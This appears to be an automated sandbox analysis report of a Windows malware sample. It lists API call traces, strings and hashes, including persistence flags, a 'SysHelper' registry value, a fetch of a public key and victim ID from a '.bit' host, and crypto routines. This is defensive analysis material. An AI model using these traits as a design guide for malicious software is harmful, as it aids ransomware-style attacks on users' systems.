{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}, xrefs: 00F7A8B6
D:\Program Files\Mozilla Firefox\, xrefs: 00F7B0A8
C:\Program Files (x86)\Google\, xrefs: 00F7AEE7
D:\Windows\, xrefs: 00F7AFF3
IsNotAutoStart, xrefs: 00F7A645
C:\Program Files\Google\, xrefs: 00F7AFB9
<, xrefs: 00F7A67B
IsNotTask, xrefs: 00F7A654
D:\Program Files (x86)\Internet Explorer\, xrefs: 00F7B062
D:\Program Files\Internet Explorer\, xrefs: 00F7B0CB
D:\Program Files (x86)\Google\, xrefs: 00F7B085
D:\Program Files\Google\, xrefs: 00F7B0EE
F:\, xrefs: 00F7B397
C:\Program Files\Mozilla Firefox\, xrefs: 00F7AF2D
C:\Program Files (x86)\Mozilla Firefox\, xrefs: 00F7AE5B
IsTask, xrefs: 00F7A1EE, 00F7A299
list<T> too long, xrefs: 00F7B669, 00F7B673
C:\Windows\, xrefs: 00F7AE0F
--Admin, xrefs: 00F7A1B4, 00F7A632
--Service, xrefs: 00F7A30B
--AutoStart, xrefs: 00F7A2EC

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: ErrorLast$FileInternetOpen$ClassCloseCommandCreateCurrentHandleLineModuleMutexNamePathPriorityProcessRemoveSpec_memset
String ID: IsNotAutoStart$ IsNotTask$%username%$-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0ERRTCUREz2a6QzP+bdT\\n+Hqf87je940uMNktk5HuRAzdVLRwZGXppa$--Admin$--AutoStart$--ForNetRes$--Service$--Task$<$C:\Program Files (x86)\Google\$C:\Program Files (x86)\Internet Explorer\$C:\Program Files (x86)\Mozilla Firefox\$C:\Program Files\Google\$C:\Program Files\Internet Explorer\$C:\Program Files\Mozilla Firefox\$C:\Windows\$D:\Program Files (x86)\Google\$D:\Program Files (x86)\Internet Explorer\$D:\Program Files (x86)\Mozilla Firefox\$D:\Program Files\Google\$D:\Program Files\Internet Explorer\$D:\Program Files\Mozilla Firefox\$D:\Windows\$F:\$I:\5d2860c89d774.jpg$IsAutoStart$IsTask$list<T> too long${1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}${FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}
API String ID: 2957410896-1027740035
Opcode ID: 0b2911ebffe526e5f68fa9a38005d063ed05666c6d558a5ec8367ed8c86e9583
Instruction ID: 0e1506d6e82a81e40939dbead6248842b11db8c9151f058e8b60a31318be777a
Opcode Fuzzy Hash: 0b2911ebffe526e5f68fa9a38005d063ed05666c6d558a5ec8367ed8c86e9583
Instruction Fuzzy Hash: 36D2F471504341ABD724EF24CC45B9FB7E4BF85304F10892EF48987292EB79A909EB93

Function 00FE1920 Relevance: 135.3, APIs: 49, Strings: 28, Instructions: 587
libraryloadermemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExA.KERNEL32(00000094), ref: 00FE1983
LoadLibraryA.KERNEL32(ADVAPI32.DLL), ref: 00FE1994
LoadLibraryA.KERNEL32(KERNEL32.DLL), ref: 00FE19A1
LoadLibraryA.KERNEL32(NETAPI32.DLL), ref: 00FE19AE
GetProcAddress.KERNEL32(00000000,NetStatisticsGet), ref: 00FE19E8
GetProcAddress.KERNEL32(?,NetApiBufferFree), ref: 00FE19FB
NetStatisticsGet.NETAPI32(00000000,LanmanWorkstation,00000000,00000000,?), ref: 00FE1A2D
NetStatisticsGet.NETAPI32(00000000,LanmanServer,00000000,00000000,?), ref: 00FE1A81
FreeLibrary.KERNEL32(?), ref: 00FE1AC5
GetProcAddress.KERNEL32(?,CryptAcquireContextW), ref: 00FE1ADB
GetProcAddress.KERNEL32(?,CryptGenRandom), ref: 00FE1AEE
GetProcAddress.KERNEL32(?,CryptReleaseContext), ref: 00FE1B01
FreeLibrary.KERNEL32(?), ref: 00FE1C15
LoadLibraryA.KERNEL32(USER32.DLL), ref: 00FE1C36
GetProcAddress.KERNEL32(00000000,GetForegroundWindow), ref: 00FE1C50
GetProcAddress.KERNEL32(?,GetCursorInfo), ref: 00FE1C63
GetProcAddress.KERNEL32(?,GetQueueStatus), ref: 00FE1C76
FreeLibrary.KERNEL32(?), ref: 00FE1D45
GetProcAddress.KERNEL32(?,CreateToolhelp32Snapshot), ref: 00FE1D73
GetProcAddress.KERNEL32(?,CloseToolhelp32Snapshot), ref: 00FE1D86
GetProcAddress.KERNEL32(?,Heap32First), ref: 00FE1D99
GetProcAddress.KERNEL32(?,Heap32Next), ref: 00FE1DAC
GetProcAddress.KERNEL32(?,Heap32ListFirst), ref: 00FE1DBF
GetProcAddress.KERNEL32(?,Heap32ListNext), ref: 00FE1DD2
GetProcAddress.KERNEL32(?,Process32First), ref: 00FE1DE5
GetProcAddress.KERNEL32(?,Process32Next), ref: 00FE1DF8
GetProcAddress.KERNEL32(?,Thread32First), ref: 00FE1E0B
GetProcAddress.KERNEL32(?,Thread32Next), ref: 00FE1E1E
GetProcAddress.KERNEL32(?,Module32First), ref: 00FE1E31
GetProcAddress.KERNEL32(?,Module32Next), ref: 00FE1E44
CreateToolhelp32Snapshot.KERNEL32(0000000F,00000000), ref: 00FE1EDD
GetTickCount.KERNEL32 ref: 00FE1F03
Heap32ListFirst.KERNEL32(00000000,00000010), ref: 00FE1F1A
Heap32First.KERNEL32(00000024,?,?), ref: 00FE1F95
Heap32Next.KERNEL32(?,?,?,?,?,BEBD67AE), ref: 00FE1FE3
GetTickCount.KERNEL32 ref: 00FE1FF1
Heap32ListNext.KERNEL32(?,?), ref: 00FE2058
GetTickCount.KERNEL32 ref: 00FE2066
GetTickCount.KERNEL32 ref: 00FE2095
Process32First.KERNEL32(?,00000128), ref: 00FE20AA
GetTickCount.KERNEL32 ref: 00FE20FB
GetTickCount.KERNEL32 ref: 00FE2118
GetTickCount.KERNEL32 ref: 00FE2187
GetTickCount.KERNEL32 ref: 00FE21A4

Strings

CryptGenRandom, xrefs: 00FE1AE3
ADVAPI32.DLL, xrefs: 00FE1989
Thread32First, xrefs: 00FE1E00
LanmanWorkstation, xrefs: 00FE1A26
GetForegroundWindow, xrefs: 00FE1C4A
CryptReleaseContext, xrefs: 00FE1AF6
NetStatisticsGet, xrefs: 00FE19E2
Module32Next, xrefs: 00FE1E39
GetCursorInfo, xrefs: 00FE1C58
CreateToolhelp32Snapshot, xrefs: 00FE1D67
Intel Hardware Cryptographic Service Provider, xrefs: 00FE1B9C
NETAPI32.DLL, xrefs: 00FE19A9
Process32Next, xrefs: 00FE1DED
Heap32First, xrefs: 00FE1D8E
Heap32Next, xrefs: 00FE1DA1
LanmanServer, xrefs: 00FE1A74
KERNEL32.DLL, xrefs: 00FE199C
Heap32ListFirst, xrefs: 00FE1DB4
GetQueueStatus, xrefs: 00FE1C6B
$, xrefs: 00FE1F7E
NetApiBufferFree, xrefs: 00FE19F0
CryptAcquireContextW, xrefs: 00FE1AD5
Module32First, xrefs: 00FE1E26
CloseToolhelp32Snapshot, xrefs: 00FE1D7B
USER32.DLL, xrefs: 00FE1C31
Thread32Next, xrefs: 00FE1E13
Heap32ListNext, xrefs: 00FE1DC7
Process32First, xrefs: 00FE1DDA

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: AddressProc$CountTick$Library$Heap32Load$FirstFree$ListNextStatistics$CreateProcess32SnapshotToolhelp32Version
String ID: $$ADVAPI32.DLL$CloseToolhelp32Snapshot$CreateToolhelp32Snapshot$CryptAcquireContextW$CryptGenRandom$CryptReleaseContext$GetCursorInfo$GetForegroundWindow$GetQueueStatus$Heap32First$Heap32ListFirst$Heap32ListNext$Heap32Next$Intel Hardware Cryptographic Service Provider$KERNEL32.DLL$LanmanServer$LanmanWorkstation$Module32First$Module32Next$NETAPI32.DLL$NetApiBufferFree$NetStatisticsGet$Process32First$Process32Next$Thread32First$Thread32Next$USER32.DLL
API String ID: 4174345323-1723836103
Opcode ID: 841d75e58f157a0ba0472ef2deb9a14a80b15cb6bb3d1a367287674b332d4ea1
Instruction ID: acc33e35cd613ce301106e039f1a90cf8c14c2bde480e157b6007b3965c9b6a3
Opcode Fuzzy Hash: 841d75e58f157a0ba0472ef2deb9a14a80b15cb6bb3d1a367287674b332d4ea1
Instruction Fuzzy Hash: 6F328FB0E002299AEF709F6ACC45B9EB6B9FF45704F0041EAE64CE6140EB758E84DF55

Function 00F7E690 Relevance: 110.9, APIs: 54, Strings: 9, Instructions: 696
stringnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

timeGetTime.WINMM(?,?,?,?,?,0102B3EC,000000FF), ref: 00F7E6C0

Part of subcall function 00F6C6A0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion,00000000,000F003F,00F7E6D4), ref: 00F6C6C2
Part of subcall function 00F6C6A0: RegQueryValueExW.KERNEL32(00000000,SysHelper,00000000,00000004,?,?), ref: 00F6C6F3
Part of subcall function 00F6C6A0: RegCloseKey.ADVAPI32(00000000), ref: 00F6C700

_memset.LIBCMT ref: 00F7E707

Part of subcall function 00F6C500: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?), ref: 00F6C51B

InternetOpenW.WININET ref: 00F7E743
_wcsstr.LIBCMT ref: 00F7E7AE
_memmove.LIBCMT ref: 00F7E838
lstrcpyW.KERNEL32(?,?), ref: 00F7E90A
lstrcatW.KERNEL32(?,&first=false), ref: 00F7E93D
InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00F7E954
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00F7E96F
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7E98C
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7E9A3
lstrlenA.KERNEL32(?,00000000,00000000,000000FF), ref: 00F7E9CD
InternetCloseHandle.WININET(00000000), ref: 00F7E9F3
InternetCloseHandle.WININET(00000000), ref: 00F7E9F6
_strstr.LIBCMT ref: 00F7EA36
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7EA59
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7EA74
DeleteFileA.KERNEL32(?), ref: 00F7EA82
lstrlenA.KERNEL32({"public_key":",00000000,000000FF), ref: 00F7EA92
lstrcpyA.KERNEL32(?,?), ref: 00F7EAA4
lstrcpyA.KERNEL32(?,?), ref: 00F7EABA
lstrlenA.KERNEL32(?), ref: 00F7EAC8
lstrlenA.KERNEL32(00000022), ref: 00F7EAE3
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EB5B
lstrlenA.KERNEL32(?), ref: 00F7EB7C
_malloc.LIBCMT ref: 00F7EB86
_memset.LIBCMT ref: 00F7EB94
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000001), ref: 00F7EBAE
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EBB6
_strstr.LIBCMT ref: 00F7EBDA
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7EC00
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7EC24
DeleteFileA.KERNEL32(?), ref: 00F7EC32
lstrlenW.KERNEL32(?), ref: 00F7EC3E
lstrlenA.KERNEL32(","id":"), ref: 00F7EC51
lstrcpyA.KERNEL32(?,?), ref: 00F7EC6D
lstrcpyA.KERNEL32(?,?), ref: 00F7EC7F
lstrlenA.KERNEL32(?), ref: 00F7EC93
lstrlenA.KERNEL32(00000022), ref: 00F7ECB3
lstrcpyW.KERNEL32(?,00000000), ref: 00F7ED2A
lstrlenA.KERNEL32(?), ref: 00F7ED4B
_malloc.LIBCMT ref: 00F7ED55
_memset.LIBCMT ref: 00F7ED63
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,?), ref: 00F7ED7D
lstrcpyW.KERNEL32(?,00000000), ref: 00F7ED85
lstrlenW.KERNEL32(?), ref: 00F7EDA3
lstrlenW.KERNEL32(?), ref: 00F7EDAE
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00F7EDD3
PathAppendA.SHLWAPI(?,bowsakkdestx.txt), ref: 00F7EDF7
DeleteFileA.KERNEL32(?), ref: 00F7EE05
_free.LIBCMT ref: 00F7EE15
_free.LIBCMT ref: 00F7EE22
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EF61
lstrcpyW.KERNEL32(?,00000000), ref: 00F7EFBF

Strings

Microsoft Internet Explorer, xrefs: 00F7E736
.bit/, xrefs: 00F7E7A3
bowsakkdestx.txt, xrefs: 00F7E996, 00F7EA67, 00F7EC17, 00F7EDEA
?pid=, xrefs: 00F7E884
&first=false, xrefs: 00F7E937
&first=true, xrefs: 00F7E930
", xrefs: 00F7ECA0
","id":", xrefs: 00F7EBC5, 00F7EC4C
{"public_key":", xrefs: 00F7EA2E, 00F7EA8D

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcpy$Path$FolderInternet$AppendFile$CloseDeleteOpen_memset$ByteCharHandleMultiWide_free_malloc_strstr$QueryReadTimeValue_memmove_wcsstrlstrcattime
String ID: "$","id":"$&first=false$&first=true$.bit/$?pid=$Microsoft Internet Explorer$bowsakkdestx.txt${"public_key":"
API String ID: 704684250-3586605218
Opcode ID: 3d28e03319659883efdd972ffe9417c8557da4026e71b857e6c57ef5cf64d28b
Instruction ID: 0c22fee85b43b84b9eddb75aa11b270bf21073197ceace550d5d05304e7203e0
Opcode Fuzzy Hash: 3d28e03319659883efdd972ffe9417c8557da4026e71b857e6c57ef5cf64d28b
Instruction Fuzzy Hash: 3242C371508341ABE720EF24CC45B9B7BE8BF89304F14495EF58997182DB79E608DBA3

Function 00F70FC0 Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 149
encryptionstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 00F71010
__CxxThrowException@8.LIBCMT ref: 00F71026

Part of subcall function 00F90ECA: RaiseException.KERNEL32(?,?,00FAF26B,?,?,00000000,?,?,?,?,00FAF26B,?,010681FC,?), ref: 00F90F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00F7103B
__CxxThrowException@8.LIBCMT ref: 00F71051
lstrlenA.KERNEL32(?,00000000), ref: 00F71059
CryptHashData.ADVAPI32(00000000,?,00000000,?,00000000), ref: 00F71064
__CxxThrowException@8.LIBCMT ref: 00F7107A
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000,?,00000000,?,00000000), ref: 00F71099
__CxxThrowException@8.LIBCMT ref: 00F710AB
_memset.LIBCMT ref: 00F710CA
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 00F710DE
__CxxThrowException@8.LIBCMT ref: 00F710F0
_malloc.LIBCMT ref: 00F71100
_memset.LIBCMT ref: 00F7110B
_sprintf.LIBCMT ref: 00F7112E
lstrcatA.KERNEL32(?,?), ref: 00F7113C
CryptDestroyHash.ADVAPI32(00000000), ref: 00F71154
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00F7115F

Strings

%.2X, xrefs: 00F71128

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam_memset$AcquireCreateDataDestroyExceptionRaiseRelease_malloc_sprintflstrcatlstrlen
String ID: %.2X
API String ID: 2451520719-213608013
Opcode ID: 808dce48b67b66a30dc7fd8619a75f61a05b5117e4db0fce3236d893061c82d8
Instruction ID: 58a7b5067f4685b922fdcfb16949e86c718269f746932620de7700be2907c4b6
Opcode Fuzzy Hash: 808dce48b67b66a30dc7fd8619a75f61a05b5117e4db0fce3236d893061c82d8
Instruction Fuzzy Hash: 7A516F71D40219ABEF21EFA4DD46FEFBBB8FB04704F104026FA04B6180DB795A059BA5

Function 00F6F730 Relevance: 29.2, APIs: 19, Instructions: 732COMMON

Download Yara Rule

APIs

Part of subcall function 00F71AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F71ACA
Part of subcall function 00F71AB0: DispatchMessageW.USER32(?), ref: 00F71AE0
Part of subcall function 00F71AB0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00F71AEE

PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 00F6F900
_memmove.LIBCMT ref: 00F6F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 00F6FA51
_memmove.LIBCMT ref: 00F6FADA

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 767f48fe288d991dc75996452061f6342592ab56b15f8502d5520a2db7408614
Instruction ID: c462bb0665a7b298949f42ef2ce6a81552b19b4f54c572af6899a531d1c14b31
Opcode Fuzzy Hash: 767f48fe288d991dc75996452061f6342592ab56b15f8502d5520a2db7408614
Instruction Fuzzy Hash: E752A071D00208DBDF20DFA8DC85BDEB7F5BF04318F248169E419AB251EB75AA48DB91

Function 00F6E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0105FCA4,00000000,00000000), ref: 00F6E8CE
__CxxThrowException@8.LIBCMT ref: 00F6E8E4

Part of subcall function 00F90ECA: RaiseException.KERNEL32(?,?,00FAF26B,?,?,00000000,?,?,?,?,00FAF26B,?,010681FC,?), ref: 00F90F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00F6E8F9
__CxxThrowException@8.LIBCMT ref: 00F6E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 00F6E928
__CxxThrowException@8.LIBCMT ref: 00F6E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 00F6E95D
__CxxThrowException@8.LIBCMT ref: 00F6E96F
_memset.LIBCMT ref: 00F6E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 00F6E9A2
__CxxThrowException@8.LIBCMT ref: 00F6E9B4
_sprintf.LIBCMT ref: 00F6E9D3

Strings

%.2X, xrefs: 00F6E9CD

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 3713ba050432973464654fa03f92d02bd3884ad52d064cde94fb7e404b1b65b7
Instruction ID: aa2e02daabcaacf9729ae6cedbae9a472b0efab2351170dea9d907d81285137b
Opcode Fuzzy Hash: 3713ba050432973464654fa03f92d02bd3884ad52d064cde94fb7e404b1b65b7
Instruction Fuzzy Hash: 6C519672D40209BBEF11EFA1CD46FEEBB78EF04704F20402AF941B6181D7796A059BA1

Function 00F6EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,0105FCA4,00000000,00000000,00000000,?), ref: 00F6EB01
__CxxThrowException@8.LIBCMT ref: 00F6EB17

Part of subcall function 00F90ECA: RaiseException.KERNEL32(?,?,00FAF26B,?,?,00000000,?,?,?,?,00FAF26B,?,010681FC,?), ref: 00F90F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 00F6EB2C
__CxxThrowException@8.LIBCMT ref: 00F6EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 00F6EB4E
__CxxThrowException@8.LIBCMT ref: 00F6EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 00F6EB83
__CxxThrowException@8.LIBCMT ref: 00F6EB95
_memset.LIBCMT ref: 00F6EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 00F6EBC8
__CxxThrowException@8.LIBCMT ref: 00F6EBDA
_sprintf.LIBCMT ref: 00F6EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 00F6EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 00F6EC4F

Strings

%.2X, xrefs: 00F6EBEE

Memory Dump Source

Source File: 00000003.00000002.2943336982.0000000000F61000.00000020.00000001.01000000.00000007.sdmp, Offset: 00F60000, based on PE: true

Associated: 00000003.00000002.2943306038.0000000000F60000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943409052.000000000102C000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943452604.000000000106A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943481496.000000000106C000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.000000000107A000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943511517.0000000001089000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2943598934.000000000108B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f60000_f6ffg1sZS2.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 91524656bcaa444788c7372e51d6f67748a636664f4febdf4cc561b98e2979e7
Instruction ID: dde452c2b763ec38b9e9987b165e104913c2a74cac34eccfa72b8ac700c83d92
Opcode Fuzzy Hash: 91524656bcaa444788c7372e51d6f67748a636664f4febdf4cc561b98e2979e7
Instruction Fuzzy Hash: D6518572D40209ABEF20DFA1CD46FEEBBB8EB44714F20402AF941B7180D77969059BA1

Function 00F6E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 00F6E67F

Part of subcall function 00F80C62: __FF_MSGBANNER.LIBCMT ref: 00F80C79
Part of subcall function 00F80C62: __NMSG_WRITE.LIBCMT ref: 00F80C80
Part of subcall function 00F80C62: RtlAllocateHeap.NTDLL(00900000,00000000,00000001,00000000,00000000,00000000,?,00F88CF4,00000000,00000000,00000000,00000000,?,00F88BE1,00000018,01067BD0), ref: 00F80CA5

_malloc.LIBCMT ref: 00F6E68B
_wprintf.LIBCMT ref: 00F6E69E
_free.LIBCMT ref: 00F6E6A4

Part of subcall function 00F80BED: HeapFree.KERNEL32(00000000,00000000,?,00F8507F,00000000,00F8500D,?,00F83F7C,?,00F7E6CC,00000000), ref: 00F80C01
Part of subcall function 00F80BED: GetLastError.KERNEL32(00000000,?,00F8507F,00000000,00F8500D,?,00F83F7C,?,00F7E6CC,00000000,?,?,?,?,?,0102B3EC), ref: 00F80C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 00F6E6B9
_free.LIBCMT ref: 00F6E6C5
_malloc.LIBCMT ref: 00F6E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 00F6E6E0
_sprintf.LIBCMT ref: 00F6E720
_wprintf.LIBCMT ref: 00F6E732
_wprintf.LIBCMT ref: 00F6E73C
_free.LIBCMT ref: 00F6E745

Strings

